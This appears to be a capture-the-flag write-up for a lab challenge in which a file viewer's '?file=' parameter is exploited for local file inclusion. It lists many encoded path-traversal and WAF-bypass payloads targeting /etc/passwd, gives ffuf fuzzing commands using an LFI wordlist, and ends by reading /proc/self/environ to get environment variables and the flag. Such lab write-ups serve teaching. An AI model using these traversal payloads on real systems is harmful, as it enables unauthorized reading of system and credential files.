Webverselabs Toxin Challenge LFI

Scenario :

After a previous incident, Toxin Labs hardened their internal file viewer with input filters and request inspection. They’re confident it’s locked down. Prove them wrong.

Solution :

If we visit the Application , we see that it is a monitoring app , where we can monitor Resources like CPU , RAM , etc. As usual we will browse the application like a normal user , then look at burp’s History to see if we see any requests that we can tamper with .

First let’s check the different endpoints with got :

/Files :

This is a list of filees that we are able to read .

/Services :

A list of services running , we can’t really get any additional information if we try clicking on any of them .

/Logs :

Just a log file :)

/Release Note:

Finally there is the Release endpoint which just lists information about different Releases.

The only endpoint that we can get more out of was the /Files endpoint where we got to read the actual files. I m always looking for parameters, or POST Requests as these are most of the times our way in.

If we try to read any of the file , we find this new parameter , “?file=”, perfect as this can lead to an LFI. Looking at the response we see that the file is located at /var/www/files/…, now we can try to escape this and go back to the root directory and read a file from there:

Aaaaand we’re blocked , i wasn’t expecting it to work really since this is supposed to be a Hard Challenge, now first thing i thought of was to try and bypass the WAF , i tried all WAF Bypass techniques out there :)

Here is a list of some of the tests :

# Double encoding
..%252f..%252f..%252fetc%252fpasswd
..%255c..%255c..%255cwindows%255cwin.ini

# UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00

# URL encoding
..%2f..%2f..%2fetc%2fpasswd
..%5c..%5c..%5cwindows%5cwin.ini

# Double dot bypass
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Null Byte + URL Encoding :
../../../etc/passwd%00
%252e%252e%252fetc%252fpasswd%00

# Filter Bypass :
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
..///////..////..//////etc/passwd
....//....//etc/passwd
..///////..////..//////etc/passwd
/var/www/../../etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

None of these worked unfortunately :

Then i moved to FFUF , using a wordlist from Seclist like the Jhaddix wordlist for LFI :

ffuf -u https://4ab954f6-4327-toxin-17c75.challenges.webverselabs-pro.com/view?file=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt  -fs 8934,8658

Filtering by Size definetly didn’t help -_- , i tried Lines but that didn’t help either , 326,324,….. too many 300 something lines.

So i decided to put it all in a Json Format and filter it based on having +400 lines , this feature isn’t available with ffuf .

ffuf -u "https://4ab954f6-4327-toxin-17c75.challenges.webverselabs-pro.com/view?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 8934,8658 -o results.json -of json

Now why are we filtering based on Lines ? we already saw that when we get blocked by a WAF , we always get pretty much the same amount of lines (around 320 or a bit higher).

We can try to filter for responses where the number of line is higher , maybe these didn’t return the generic WAF block .

cat results.json | jq '.results[] | select(.lines > 400)'

Let’s try and visit these endpoints :

This works perfectly , i think the reason why proc works is that the app The app is used to monitor hardware resources that are found in /proc so it needs to read /proc/ to display those system stats

Another very important file that we can read inside the /proc is the /proc/self/environ which has some senstive information like the Env variables, PATH, (The flag as well ) :) .

This time the flag was in /proc/self/env since /proc was the only way in .

That was all for this challenge, see you in the next one :)